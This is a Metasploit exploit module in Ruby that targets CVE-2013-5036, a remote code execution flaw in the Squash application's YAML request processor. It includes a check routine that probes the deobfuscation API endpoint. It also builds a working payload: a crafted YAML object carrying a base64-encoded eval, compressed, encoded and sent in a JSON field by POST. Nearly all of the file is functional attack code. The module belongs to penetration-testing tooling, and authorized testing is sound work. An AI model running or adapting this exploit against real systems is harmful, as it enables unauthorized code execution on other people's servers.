metasploit-framework/modules/exploits/unix/webapp/squash_yaml_exec.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Squash YAML Code Execution',
			'Description'    => %q{
					This module exploits a remote code execution vulnerability in the
				YAML request processor of the Squash application.
			},
			'Author'         =>
				[
					'Charlie Eriksen' # Discovery, initial exploit
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
					[ 'OSVDB', '95992'],
					[ 'CVE', '2013-5036']
				],
			'Platform'       => 'ruby',
			'Arch'           => ARCH_RUBY,
			'Privileged'     => false,
			'Targets'        =>	[ ['Automatic', {} ] ],
			'DisclosureDate' => 'Aug 06 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])
			], self.class)

	end

	def check
		response = send_request_cgi({
				'uri'     => normalize_uri(target_uri.path, '/api/1.0/deobfuscation'),
				'method'  => 'POST',
				'ctype'   => 'application/json',
			})

		if response.code == 422
			print_status("Got HTTP 422 result, target may be vulnerable")
			return Exploit::CheckCode::Appears
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		code = Rex::Text.encode_base64(payload.encoded)
		yaml =	"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
				"'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
				": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
		payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
		data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"

		send_request_cgi({
			'uri'     => normalize_uri(target_uri.path, '/api/1.0/deobfuscation'),
			'method'  => 'POST',
			'ctype'   => 'application/json',
			'data'    => data
		})
	end
end